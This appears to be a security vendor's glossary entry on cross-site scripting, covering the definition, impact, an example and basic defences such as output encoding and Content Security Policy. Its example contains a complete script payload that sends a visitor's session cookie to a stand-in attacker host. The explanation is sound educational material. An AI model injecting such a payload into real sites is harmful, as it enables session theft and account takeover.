Glossary
Cross-Site Scripting (XSS)
XSS is when hackers sneak their code onto a legitimate website. When you visit that page, their code runs in your browser as if it came from the real site. They can steal your login cookies, redirect you to fake sites, or make your browser do things without your permission.
What is Cross-Site Scripting (XSS)?
A web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users, potentially stealing session cookies, credentials, or performing actions on behalf of victims.
Why Should You Care?
XSS attacks directly compromise user trust in a web application—stolen session cookies allow attackers to impersonate users without needing passwords, while injected JavaScript can exfiltrate sensitive data, deface pages, or redirect visitors to malware. For e-commerce and SaaS platforms, a single XSS vulnerability can expose thousands of customer payment details or personal information. Security teams prioritize XSS remediation because it's both high-frequency (a perennial OWASP Top 10 entry) and immediately exploitable without user interaction in stored variants.
Is your business exposed?
Real-World Example
A reflected XSS in a search feature allows an attacker to craft a malicious link (e.g., example.com/search?q=<script>fetch('attacker.com/steal?cookie='+document.cookie)</script>) that, when clicked by a user, executes JavaScript in their browser and sends their session cookies to the attacker's server. Stored XSS is more severe—if an attacker injects a script into a user profile field, comment section, or forum post, that script executes for every visitor who views that content, potentially compromising many users automatically.
How to Protect Against Cross-Site Scripting (XSS)
- 1.
Encode all output displayed to users
- 2.
Implement Content Security Policy headers
- 3.
Use XSS scanning tools on your websites
Related Terms
Is your business exposed?
Check if your company data is circulating on the dark web
Free scan • No credit card required